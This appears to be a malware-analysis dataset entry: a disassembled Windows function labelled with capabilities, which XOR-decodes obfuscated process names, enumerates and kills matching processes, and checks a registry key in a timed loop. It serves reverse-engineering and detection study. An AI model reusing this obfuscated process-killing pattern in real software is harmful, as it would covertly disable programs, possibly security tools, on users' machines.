Function at 0x4070eb
Capabilities:
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2e4
mov eax, dword [0x429014]
xor eax, esp
mov dword [esp + 0x2e0], eax
push ebx
push esi
push edi
mov byte [esp + 0x12], 0
xor ebx, ebx
mov byte [esp + 0x13], 0
push 0
push 2
mov dword [esp + 0x20], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x407775
jmp 0x407760
cmp byte [0x4299cf], 0
jne 0x407216
and dword [esp + 0x154], 0
lea edx, [esp + 0x154]
mov dword [esp + 0x158], 1
xor esi, esi
mov dword [esp + 0x15c], 2
mov dword [esp + 0x160], 3
mov dword [esp + 0x164], 4
mov dword [esp + 0x168], 5
mov dword [esp + 0x16c], 6
mov dword [esp + 0x170], 7
mov dword [esp + 0x174], 8
mov dword [esp + 0x178], 9
mov dword [esp + 0x17c], 0xa
mov dword [esp + 0x180], 0xb
mov dword [esp + 0x184], 0xc
mov dword [esp + 0x188], 0xd
mov dword [esp + 0x18c], 0xe
mov ecx, dword [edx]
mov al, cl
add al, 0x38
lea edx, [edx + 4]
xor byte [ecx + str.iqiZJXs__l__F], al
inc esi
cmp esi, 0xf
jne 0x4071fa
mov byte [0x4299cf], 1
lea eax, [esp + 0x3c]
push str.iqiZJXs__l__F
push eax
call fcn.0040e3f5
pop ecx
pop ecx
test eax, eax
je 0x40731c
cmp byte [0x4299bb], 0
jne 0x407303
and dword [esp + 0x154], 0
lea edx, [esp + 0x154]
mov dword [esp + 0x158], 1
xor esi, esi
mov dword [esp + 0x15c], 2
mov dword [esp + 0x160], 3
mov dword [esp + 0x164], 4
mov dword [esp + 0x168], 5
mov dword [esp + 0x16c], 6
mov dword [esp + 0x170], 7
mov dword [esp + 0x174], 8
mov dword [esp + 0x178], 9
mov dword [esp + 0x17c], 0xa
mov dword [esp + 0x180], 0xb
mov dword [esp + 0x184], 0xc
mov dword [esp + 0x188], 0xd
mov dword [esp + 0x18c], 0xe
mov ecx, dword [edx]
mov al, cl
add al, 0x38
lea edx, [edx + 4]
xor byte [ecx + str.iqiZJXjM_8l__F], al
inc esi
cmp esi, 0xf
jne 0x4072e7
mov byte [0x4299bb], 1
lea eax, [esp + 0x3c]
push str.iqiZJXjM_8l__F
push eax
call fcn.0040e3f5
pop ecx
pop ecx
test eax, eax
jne 0x407760
push dword [esp + 0x20]
mov byte [esp + 0x16], 1
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x407760
test ebx, ebx
jle 0x407352
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x407760
cmp byte [0x4299a5], 0
jne 0x407728
and dword [esp + 0x190], 0
mov dword [esp + 0x194], 1
mov dword [esp + 0x198], 2
mov dword [esp + 0x19c], 3
mov dword [esp + 0x1a0], 4
mov dword [esp + 0x1a4], 5
mov dword [esp + 0x1a8], 6
mov dword [esp + 0x1ac], 7
mov dword [esp + 0x1b0], 8
mov dword [esp + 0x1b4], 9
mov dword [esp + 0x1b8], 0xa
mov dword [esp + 0x1bc], 0xb
mov dword [esp + 0x1c0], 0xc
mov dword [esp + 0x1c4], 0xd
mov dword [esp + 0x1c8], 0xe
mov dword [esp + 0x1cc], 0xf
mov dword [esp + 0x1d0], 0x10
mov dword [esp + 0x1d4], 0x11
mov dword [esp + 0x1d8], 0x12
mov dword [esp + 0x1dc], 0x13
mov dword [esp + 0x1e0], 0x14
mov dword [esp + 0x1e4], 0x15
mov dword [esp + 0x1e8], 0x16
mov dword [esp + 0x1ec], 0x17
mov dword [esp + 0x1f0], 0x18
mov dword [esp + 0x1f4], 0x19
mov dword [esp + 0x1f8], 0x1a
mov dword [esp + 0x1fc], 0x1b
mov dword [esp + 0x200], 0x1c
mov dword [esp + 0x204], 0x1d
mov dword [esp + 0x208], 0x1e
mov dword [esp + 0x20c], 0x1f
mov dword [esp + 0x210], 0x20
mov dword [esp + 0x214], 0x21
mov dword [esp + 0x218], 0x22
mov dword [esp + 0x21c], 0x23
mov dword [esp + 0x220], 0x24
mov dword [esp + 0x224], 0x25
mov dword [esp + 0x228], 0x26
mov dword [esp + 0x22c], 0x27
mov dword [esp + 0x230], 0x28
mov dword [esp + 0x234], 0x29
mov dword [esp + 0x238], 0x2a
mov dword [esp + 0x23c], 0x2b
mov dword [esp + 0x240], 0x2c
mov dword [esp + 0x244], 0x2d
mov dword [esp + 0x248], 0x2e
mov dword [esp + 0x24c], 0x2f
mov dword [esp + 0x250], 0x30
mov dword [esp + 0x254], 0x31
mov dword [esp + 0x258], 0x32
mov dword [esp + 0x25c], 0x33
mov dword [esp + 0x260], 0x34
mov dword [esp + 0x264], 0x35
mov dword [esp + 0x268], 0x36
mov dword [esp + 0x26c], 0x37
mov dword [esp + 0x270], 0x38
mov dword [esp + 0x274], 0x39
mov dword [esp + 0x278], 0x3a
mov dword [esp + 0x27c], 0x3b
mov dword [esp + 0x280], 0x3c
mov dword [esp + 0x284], 0x3d
mov dword [esp + 0x288], 0x3e
mov dword [esp + 0x28c], 0x3f
mov dword [esp + 0x290], 0x40
mov dword [esp + 0x294], 0x41
mov dword [esp + 0x298], 0x42
mov dword [esp + 0x29c], 0x43
mov dword [esp + 0x2a0], 0x44
mov dword [esp + 0x2a4], 0x45
mov dword [esp + 0x2a8], 0x46
mov dword [esp + 0x2ac], 0x47
mov dword [esp + 0x2b0], 0x48
mov dword [esp + 0x2b4], 0x49
mov dword [esp + 0x2b8], 0x4a
mov dword [esp + 0x2bc], 0x4b
mov dword [esp + 0x2c0], 0x4c
mov dword [esp + 0x2c4], 0x4d
mov dword [esp + 0x2c8], 0x4e
mov dword [esp + 0x2cc], 0x4f
mov dword [esp + 0x2d0], 0x50
mov dword [esp + 0x2d4], 0x51
lea edx, [esp + 0x190]
mov dword [esp + 0x2d8], 0x52
xor esi, esi
mov dword [esp + 0x2dc], 0x53
mov dword [esp + 0x2e0], 0x54
mov ecx, dword [edx]
mov al, cl
add al, 0x38
lea edx, [edx + 4]
xor byte [ecx + 0x429950], al
inc esi
cmp esi, 0x55
jne 0x40770c
mov byte [0x4299a5], 1
lea eax, [esp + 0x14]
push eax
push 0x20019
push 0
push 0x429950
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x407760
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ebx, ebx
push 0xbb8
inc ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x407142
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [esp + 0x12], 0
je 0x407d9d
cmp byte [esp + 0x13], 0
jne 0x407d9d
and dword [esp + 0x154], 0
lea edx, [esp + 0x154]
push 4
pop edi
mov byte [esp + 0x13], 1
xor esi, esi
mov dword [esp + 0x144], 0x7a6e766c
mov dword [esp + 0x148], 0x71776270
mov word [esp + 0x14c], 0x4113
mov byte [esp + 0x14e], 0
mov dword [esp + 0x150], 0xa
mov dword [esp + 0x158], 1
mov dword [esp + 0x15c], 2
mov dword [esp + 0x160], 3
mov dword [esp + 0x164], edi
mov dword [esp + 0x168], 5
mov dword [esp + 0x16c], 6
mov dword [esp + 0x170], 7
mov dword [esp + 0x174], 8
mov dword [esp + 0x178], 9
mov ecx, dword [edx]
mov al, cl
add al, 0x38
add edx, edi
xor byte [esp + ecx + 0x144], al
inc esi
cmp esi, 0xa
jne 0x40783d
push 1
lea eax, [esp + 0x148]
mov byte [esp + 0x152], 1
push eax
mov ecx, 0x429ea0
call fcn.00403072
cmp byte [0x429ae8], 0
jne 0x407afc
and dword [esp + 0x190], 0
lea edx, [esp + 0x190]
mov dword [esp + 0x1b8], esi
xor esi, esi
mov dword [esp + 0x194], 1
mov dword [esp + 0x198], 2
mov dword [esp + 0x19c], 3
mov dword [esp + 0x1a0], edi
mov dword [esp + 0x1a4], 5
mov dword [esp + 0x1a8], 6
mov dword [esp + 0x1ac], 7
mov dword [esp + 0x1b0], 8
mov dword [esp + 0x1b4], 9
mov dword [esp + 0x1bc], 0xb
mov dword [esp + 0x1c0], 0xc
mov dword [esp + 0x1c4], 0xd
mov dword [esp + 0x1c8], 0xe
mov dword [esp + 0x1cc], 0xf
mov dword [esp + 0x1d0], 0x10
mov dword [esp + 0x1d4], 0x11
mov dword [esp + 0x1d8], 0x12
mov dword [esp + 0x1dc], 0x13
mov dword [esp + 0x1e0], 0x14
mov dword [esp + 0x1e4], 0x15
mov dword [esp + 0x1e8], 0x16
mov dword [esp + 0x1ec], 0x17
mov dword [esp + 0x1f0], 0x18
mov dword [esp + 0x1f4], 0x19
mov dword [esp + 0x1f8], 0x1a
mov dword [esp + 0x1fc], 0x1b
mov dword [esp + 0x200], 0x1c
mov dword [esp + 0x204], 0x1d
mov dword [esp + 0x208], 0x1e
mov dword [esp + 0x20c], 0x1f
mov dword [esp + 0x210], 0x20
mov dword [esp + 0x214], 0x21
mov dword [esp + 0x218], 0x22
mov dword [esp + 0x21c], 0x23
mov dword [esp + 0x220], 0x24
mov dword [esp + 0x224], 0x25
mov dword [esp + 0x228], 0x26
mov dword [esp + 0x22c], 0x27
mov dword [esp + 0x230], 0x28
mov dword [esp + 0x234], 0x29
mov dword [esp + 0x238], 0x2a
mov dword [esp + 0x23c], 0x2b
mov dword [esp + 0x240], 0x2c
mov dword [esp + 0x244], 0x2d
mov dword [esp + 0x248], 0x2e
mov dword [esp + 0x24c], 0x2f
mov dword [esp + 0x250], 0x30
mov dword [esp + 0x254], 0x31
mov dword [esp + 0x258], 0x32
mov dword [esp + 0x25c], 0x33
mov dword [esp + 0x260], 0x34
mov dword [esp + 0x264], 0x35
mov dword [esp + 0x268], 0x36
mov dword [esp + 0x26c], 0x37
mov ecx, dword [edx]
mov al, cl
add al, 0x38
add edx, edi
xor byte [ecx + 0x429ab0], al
inc esi
cmp esi, 0x38
jne 0x407ae1
mov byte [0x429ae8], 1
push ecx
call fcn.00403cc0
test al, al
jne 0x407d96
cmp byte [0x429a13], al
jne 0x407d90
and dword [esp + 0x190], 0
lea edx, [esp + 0x190]
mov dword [esp + 0x194], 1
xor esi, esi
mov dword [esp + 0x198], 2
mov dword [esp + 0x19c], 3
mov dword [esp + 0x1a0], edi
mov dword [esp + 0x1a4], 5
mov dword [esp + 0x1a8], 6
mov dword [esp + 0x1ac], 7
mov dword [esp + 0x1b0], 8
mov dword [esp + 0x1b4], 9
mov dword [esp + 0x1b8], 0xa
mov dword [esp + 0x1bc], 0xb
mov dword [esp + 0x1c0], 0xc
mov dword [esp + 0x1c4], 0xd
mov dword [esp + 0x1c8], 0xe
mov dword [esp + 0x1cc], 0xf
mov dword [esp + 0x1d0], 0x10
mov dword [esp + 0x1d4], 0x11
mov dword [esp + 0x1d8], 0x12
mov dword [esp + 0x1dc], 0x13
mov dword [esp + 0x1e0], 0x14
mov dword [esp + 0x1e4], 0x15
mov dword [esp + 0x1e8], 0x16
mov dword [esp + 0x1ec], 0x17
mov dword [esp + 0x1f0], 0x18
mov dword [esp + 0x1f4], 0x19
mov dword [esp + 0x1f8], 0x1a
mov dword [esp + 0x1fc], 0x1b
mov dword [esp + 0x200], 0x1c
mov dword [esp + 0x204], 0x1d
mov dword [esp + 0x208], 0x1e
mov dword [esp + 0x20c], 0x1f
mov dword [esp + 0x210], 0x20
mov dword [esp + 0x214], 0x21
mov dword [esp + 0x218], 0x22
mov dword [esp + 0x21c], 0x23
mov dword [esp + 0x220], 0x24
mov dword [esp + 0x224], 0x25
mov dword [esp + 0x228], 0x26
mov dword [esp + 0x22c], 0x27
mov dword [esp + 0x230], 0x28
mov dword [esp + 0x234], 0x29
mov dword [esp + 0x238], 0x2a
mov dword [esp + 0x23c], 0x2b
mov dword [esp + 0x240], 0x2c
mov dword [esp + 0x244], 0x2d
mov dword [esp + 0x248], 0x2e
mov dword [esp + 0x24c], 0x2f
mov dword [esp + 0x250], 0x30
mov dword [esp + 0x254], 0x31
mov dword [esp + 0x258], 0x32
mov dword [esp + 0x25c], 0x33
mov dword [esp + 0x260], 0x34
mov dword [esp + 0x264], 0x35
mov dword [esp + 0x268], 0x36
mov ecx, dword [edx]
mov al, cl
add al, 0x38
add edx, edi
xor byte [ecx + 0x4299dc], al
inc esi
cmp esi, 0x37
jne 0x407d75
mov byte [0x429a13], 1
push ecx
call fcn.00403cc0
mov byte [0x429e28], 0
test ebx, ebx
jle 0x407db5
inc ebx
cmp ebx, 0xb4
jge 0x407dc2
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x407114
mov ecx, dword [esp + 0x2ec]
pop edi
pop esi
pop ebx
xor ecx, esp
mov byte [0x429e28], 0
call fcn.0040af01
mov esp, ebp
pop ebp
ret